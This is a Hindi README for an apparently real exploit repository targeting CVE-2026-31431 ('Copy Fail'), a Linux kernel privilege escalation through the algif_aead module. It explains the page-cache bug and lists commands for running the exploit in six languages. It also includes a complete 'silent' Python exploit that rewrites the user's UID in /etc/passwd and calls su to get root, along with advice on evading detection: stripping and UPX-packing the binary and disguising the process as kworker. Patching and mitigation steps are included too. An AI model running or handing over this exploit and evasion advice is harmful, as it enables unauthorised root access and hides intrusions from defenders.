
# CVE-2026-31431 के लिए बहु-भाषा शैक्षिक एक्सप्लॉइट कार्यान्वयन algif_aead मॉड्यूल के माध्यम से Linux कर्नेल में स्थानीय विशेषाधिकार वृद्धि, एक सुरक्षित डिटेक्टर और CTF उपयोग मार्गदर्शन के साथ।
शैक्षिक रिपॉजिटरी जिसमें Copy Fail एक्सप्लॉइट के कई भाषाओं में कार्यान्वयन हैं।
@shotafry द्वारा निर्मित और अनुरक्षित — क्योंकि CVE पढ़ना पर्याप्त नहीं है। इसे दोहराना ज़रूरी है।
Copy Fail Linux कर्नेल में एक स्थानीय विशेषाधिकार वृद्धि (LPE) भेद्यता है, जिसे CVE-2026-31431 के रूप में वर्गीकृत किया गया है। यह कर्नेल के क्रिप्टोग्राफिक सबसिस्टम को प्रभावित करता है, विशेष रूप से algif_aead मॉड्यूल जो AF_ALG सॉकेट के माध्यम से प्रमाणित एन्क्रिप्शन (AEAD) संचालन का प्रबंधन करता है।
यह दोष 2017 में authencesn मॉड्यूल के अनुकूलन में पेश किया गया था और लगभग 9 वर्षों तक अनिर्धारित रहा, जो व्यावहारिक रूप से सभी आधुनिक Linux वितरणों में मौजूद था।
Copy Fail को अन्य ऐतिहासिक LPE से अलग बनाता है:
यह भेद्यता Theori की शोध टीम के Taeyang Lee द्वारा खोजी गई थी। पूरी एक्सप्लॉइट श्रृंखला Xint Code Research टीम द्वारा विकसित की गई थी, जिसने Linux कर्नेल के crypto/ सबसिस्टम पर AI-सहायता प्राप्त विश्लेषण का उपयोग करके प्रक्रिया का दस्तावेजीकरण किया।
सार्वजनिक प्रकटीकरण में कार्यात्मक PoC, पूर्ण तकनीकी विश्लेषण और copy.fail पर दस्तावेज़ीकरण शामिल है।
CVE: CVE-2026-31431
CVSS: 7.8 — उच्च
वेक्टर: स्थानीय
प्रभाव: पूर्ण विशेषाधिकार वृद्धि (root)
डिस्ट्रोस: सभी Linux वितरण जिनमें कर्नेल >= 2017 बिना पैच के
CVSS 7.8 है और यह गंभीर (9+) तक नहीं पहुँचता केवल इसलिए क्योंकि इसके लिए पहले से स्थानीय पहुँच की आवश्यकता होती है — हमलावर के पास पहले से ही सिस्टम पर एक सत्र होना चाहिए। क्लाउड वातावरण और Docker कंटेनरों में, यह आवश्यकता जितनी लगती है उससे कहीं अधिक आसानी से पूरी होती है।
Linux कर्नेल हाल ही में पढ़ी गई फ़ाइलों को RAM में संग्रहीत करता है। इसे page cache कहा जाता है। जब कोई प्रक्रिया /etc/passwd पढ़ती है, तो कर्नेल डिस्क पर नहीं जाता — वह RAM में मौजूद प्रति परोसता है। यह तेज़ है, लेकिन एक हमले की सतह बनाता है: यदि आप डिस्क को छुए बिना RAM में उस प्रति को संशोधित कर सकते हैं, तो सिस्टम नकली डेटा देखेगा।
algif_aead मॉड्यूल AF_ALG सॉकेट के माध्यम से उपयोगकर्ता स्थान से AEAD संचालन करने की अनुमति देता है। बग 2017 में पेश किए गए अनुकूलन में है: जब किसी फ़ाइल के पृष्ठों को सॉकेट में पास करने के लिए splice() का उपयोग किया जाता है, तो page cache के वे पृष्ठ क्रिप्टोग्राफिक ऑपरेशन की गंतव्य (लिखने योग्य) स्कैटरलिस्ट में समाप्त हो जाते हैं।
परिणाम: कोई भी विशेषाधिकार-रहित उपयोगकर्ता किसी भी फ़ाइल में 4 नियंत्रित बाइट्स लिख सकता है जिसे वह पढ़ सकता है, बिना डिस्क को छुए।
विशेषाधिकार-रहित उपयोगकर्ता
│
▼
AF_ALG सॉकेट खोलता है (authencesn)
│
▼
sendmsg() — seqno_lo में हमारे 4 बाइट्स के साथ AEAD पैरामीटर
│
▼
splice() — फ़ाइल → pipe → socket op
[BUG] फ़ाइल की page cache गंतव्य scatterlist में रह जाती है
│
▼
recv() AEAD ऑपरेशन ट्रिगर करता है
प्रमाणीकरण विफल होता है (EBADMSG) लेकिन scratch-write पहले ही हो चुका होता है
│
▼
/etc/passwd (page cache) अब कहता है: उपयोगकर्ता → UID 0
│
▼
su <उपयोगकर्ता> → PAM वास्तविक पासवर्ड सत्यापित करता है → setuid(0) → ROOT
कल्पना करें कि कर्नेल के पास महल का रजिस्टर है (/etc/passwd)। Copy Fail ऐसा है जैसे यह खोजना कि यदि आप महल की जादू कार्यशाला को एक बहुत विशिष्ट क्रम में खोलते हैं, तो रजिस्टर गलती से आपकी कार्य मेज पर रह जाता है — और आप अपने पद को "साधारण सैनिक" से "राजा" में एक कलम से बदल सकते हैं। अभिलेखपाल (PAM) आपका पासवर्ड जाँचता है लेकिन मूल रजिस्टर की जाँच नहीं करता, केवल आपके सामने मौजूद प्रति की। आप राजा हैं।

>= ~2017 बिना CVE-2026-31431 के पैच केalgif_aead मॉड्यूल उपलब्ध और लोड करने योग्यइसे वास्तव में छोड़ा जा सकता है और सीधे किसी एक एक्सप्लॉइट का परीक्षण किया जा सकता है, लेकिन यह भी मान्य है यदि हम उन्हें अपलोड या बनाने का जोखिम नहीं लेना चाहते और केवल देखना चाहते हैं कि यह काम करता है या नहीं, लेकिन एक्सप्लॉइट्स में यह जाँचने का अपना कार्य है कि संबंधित सिस्टम भेद्य है या नहीं।
# कर्नेल संस्करण देखें
uname -a
# जाँचें कि एल्गोरिथ्म उपलब्ध है या नहीं
grep -i authencesn /proc/crypto
# जाँचें कि मॉड्यूल लोड है या नहीं
lsmod | grep alg
यदि grep -i authencesn /proc/crypto authencesn(hmac(sha256),cbc(aes)) लौटाता है, तो सिस्टम भेद्य है।
इस रिपॉजिटरी में 6 भाषाओं में लागू एक्सप्लॉइट है, सभी कार्यात्मक रूप से समतुल्य हैं, स्पेनिश में शैक्षिक टिप्पणियों के साथ।
copy_fail_exploit.c → C — स्थिर बाइनरी, शून्य निर्भरताएँ
copy_fail_exploit.py → Python — अधिक पठनीय, सीखने के लिए आदर्श
copy_fail_exploit.rs → Rust — विडंबना: "सुरक्षित" भाषा कर्नेल का शोषण करती है
copy_fail_exploit.go → Go — स्थिर बाइनरी, अत्यधिक पोर्टेबल
copy_fail_exploit.rb → Ruby — Rails सर्वरों पर सर्वव्यापी
copy_fail_exploit.pl → Perl — सबसे मूक, हर Linux में मौजूद
test_cve_2026_31431.py → डिटेक्टर — बिना कुछ शोषण किए भेद्यता सत्यापित करता है
python3 test_cve_2026_31431.py
# संकलन
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (बाहर निकलते समय साफ करता है, कोई निशान नहीं छोड़ता)
./copy_fail_c
# पूर्ण एक्सप्लॉइट
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# पूर्ण एक्सप्लॉइट
python3 copy_fail_exploit.py --shell
# संकलन
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# पूर्ण एक्सप्लॉइट
./copy_fail_rs --shell
# संकलन
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# पूर्ण एक्सप्लॉइट
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# पूर्ण एक्सप्लॉइट
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# पूर्ण एक्सप्लॉइट
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (आमतौर पर Kali में पहले से स्थापित)
apt install ruby
# Perl (व्यावहारिक रूप से हमेशा मौजूद)
perl --version
एक्सप्लॉइट लॉन्च करने के बाद (su से पहले), आप page cache में परिवर्तन को दृश्य रूप से सत्यापित कर सकते हैं:
# टर्मिनल 1: वास्तविक समय में निगरानी
watch -n 0.5 'grep tuusuario /etc/passwd'
# टर्मिनल 2: एक्सप्लॉइट लॉन्च करें
python3 copy_fail_exploit.py --shell
आप देखेंगे कि UID फ़ील्ड वास्तविक समय में 1000 से 0000 में कैसे बदलता है। su के बाद:
id
# uid=0(root) gid=0(root) groups=0(root)
बिना रिबूट किए साफ करने के लिए (root शेल से):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE usuario=shotafry uid=1000
[*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000'
[*] Aplicando write4: '1000' -> '0000' en la page cache...
[+] Page cache ahora muestra UID 0 en offset 3118
[+] /etc/passwd (page cache) ahora lista a shotafry como UID 0
[+] Ejecuta: su shotafry
[+] Introduce tu contraseña. su hará setuid(0) → shell root.
डिस्क कभी संशोधित नहीं होती। एक रिबूट या drop_caches सब कुछ मूल स्थिति में बहाल कर देता है।
Copy Fail किसी भी CTF या Linux privesc प्रयोगशाला में प्रासंगिक है जहाँ कर्नेल पैच नहीं किया गया है।
algif_aead मॉड्यूल hardened वातावरण में निष्क्रिय हो सकता है — यदि डिटेक्टर AF_ALG चरण में विफल हो जाता है, तो दूसरा वेक्टर खोजें# 1. कर्नेल जाँचें
uname -a
# 2. डिटेक्टर
python3 test_cve_2026_31431.py
# 3. यदि भेद्य है, एक्सप्लॉइट
python3 copy_fail_exploit.py --shell
# 4. बाद में साफ करें
echo 3 > /proc/sys/vm/drop_caches
इस रिपॉजिटरी के कार्यान्वयन शैक्षिक डिज़ाइन द्वारा टिप्पणी किए गए और वाचाल हैं। वास्तविक पेंटेस्टिंग संदर्भ में, आप अधिक मूक संस्करण चाहेंगे।
एक्सप्लॉइट अपने मूल में 5 syscalls हैं: socket, bind, setsockopt, sendmsg, splice। बाकी सब कुछ कॉस्मेटिक है। एक मूक संस्करण सभी आउटपुट हटा देता है और कोड को न्यूनतम कार्यात्मक तक कम कर देता है।
# बिना आउटपुट का कॉम्पैक्ट संस्करण — समान कार्यक्षमता, कम पहचान सतह
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ नोट: एंटीवायरस और EDR ऑफस्केशन पैटर्न का पता लगाते हैं (संपीड़ित imports, एक-वर्ण फ़ंक्शन नाम, zlib+hex श्रृंखला)। स्थिर रूप से संकलित C बाइनरी निगरानी वाले वातावरण में सबसे मूक विकल्प बनी हुई है।
strip के साथ C बाइनरी: gcc exploit.c -o exploit && strip exploit — डीबग प्रतीकों को हटाता हैupx --best exploit — बाइनरी को संपीड़ित करता है, इसका हस्ताक्षर बदलता हैkworker या systemd-helper कहें ताकि ps में अनदेखा रहे# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
यदि आप तुरंत पैच नहीं कर सकते, तो भेद्य मॉड्यूल को निष्क्रिय करें:
# मॉड्यूल निष्क्रिय करें
rmmod algif_aead 2>/dev/null
# भविष्य में इसे लोड होने से रोकें
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
पैच होस्ट कर्नेल पर लागू होना चाहिए — कंटेनर कर्नेल साझा करते हैं और इस भेद्यता से अलग नहीं हैं। केवल कंटेनर इमेज को अपडेट करना किसी भी चीज़ से रक्षा नहीं करता।
CVE-2026-31431-Copy-Fail/
├── README.md ← यह फ़ाइल (ES)
├── README_ENGLISH.md ← अंग्रेज़ी संस्करण
├── copy_fail_exploit.c ← C में एक्सप्लॉइट
├── copy_fail_exploit.py ← Python में एक्सप्लॉइट
├── copy_fail_exploit.rs ← Rust में एक्सप्लॉइट
├── copy_fail_exploit.go ← Go में एक्सप्लॉइट
├── copy_fail_exploit.rb ← Ruby में एक्सप्लॉइट
├── copy_fail_exploit.pl ← Perl में एक्सप्लॉइट
├── test_cve_2026_31431.py ← डिटेक्टर (सुरक्षित, कुछ भी संशोधित नहीं करता)
└── assets/
├── Infografia.png ← एक्सप्लॉइट की इन्फोग्राफिक
├── Exploit en C.png ← C एक्सप्लॉइट की कार्रवाई में कैप्चर
└── passwd.png ← भेद्य सिस्टम पर डिटेक्टर का आउटपुट
जबकि हर कोई इस CVE को AI-जनित पैराग्राफ और आधिकारिक रिपॉजिटरी के लिंक के साथ प्रकाशित कर रहा था, मैंने पूरा दिन इसे वास्तव में अध्ययन करने में बिताया: कर्नेल कोड पढ़ना, page cache को समझना, प्रयोगशाला में एक्सप्लॉइट को दोहराना, और फिर इसे 6 अलग-अलग भाषाओं में पोर्ट करना ताकि यह समझ सकूँ कि प्रत्येक परत में वास्तव में क्या हो रहा है।
Rust संस्करण मेरा पसंदीदा है। आप स्मृति सुरक्षा के प्रति सबसे अधिक जुनूनी भाषा का उपयोग करके C में लिखे कर्नेल में एक दोष का शोषण करते हैं। विडंबना खुद बोलती है।
यह रिपॉजिटरी इसलिए मौजूद है क्योंकि मेरा मानना है कि एक सुरक्षा पेशेवर और केवल पोस्ट साझा करने वाले व्यक्ति के बीच का अंतर यह है कि क्या आपने वास्तव में बैठकर चीज़ों को दोहराया है।
authencesn / algif_aead मॉड्यूलयह रिपॉजिटरी विशेष रूप से शैक्षिक उपयोग, सुरक्षा अनुसंधान और स्वयं के सिस्टम या लिखित स्पष्ट प्राधिकरण वाले सिस्टम पर परीक्षण के लिए है।
बिना प्राधिकरण के सिस्टम के विरुद्ध इन उपकरणों का उपयोग अधिकांश क्षेत्राधिकारों में अवैध है। लेखक इस सामग्री के दुरुपयोग के लिए ज़िम्मेदार नहीं है।
केवल उसी पर परीक्षण करें जो आपका है या जिसे आपके पास ऑडिट करने की अनुमति है।
जिज्ञासा, प्रयोगशाला और बहुत सारी कॉफी, या ठीक से 0.0 बियर के साथ बनाया गया।
@shotafry
@BrayLozano
| विशेषता | Copy Fail | सामान्य LPE |
|---|
| रेस कंडीशन की आवश्यकता | ❌ नहीं | ✅ हाँ |
| कर्नेल के विशिष्ट ऑफसेट की आवश्यकता | ❌ नहीं | ✅ हाँ |
| सभी डिस्ट्रोस पर कार्यात्मक | ✅ हाँ | ❌ आमतौर पर नहीं |
| विश्वसनीयता | 100% नियतात्मक | परिवर्तनशील |
| डिस्क को संशोधित करता है | ❌ नहीं (केवल RAM) | निर्भर करता है |
| भाषा | लक्ष्य पर आवश्यकता | पूर्व संकलन |
|---|
| C | कोई नहीं (स्थिर बाइनरी) | संकलन मशीन पर gcc |
| Python | Python 3.10+ | नहीं |
| Rust | कोई नहीं (स्थिर बाइनरी) | संकलन मशीन पर rustc |
| Go | कोई नहीं (स्थिर बाइनरी) | संकलन मशीन पर go |
| Ruby | Ruby + gem fiddle (डिफ़ॉल्ट रूप से शामिल) | नहीं |
| Perl | Perl 5 (व्यावहारिक रूप से हर Linux में शामिल) | नहीं |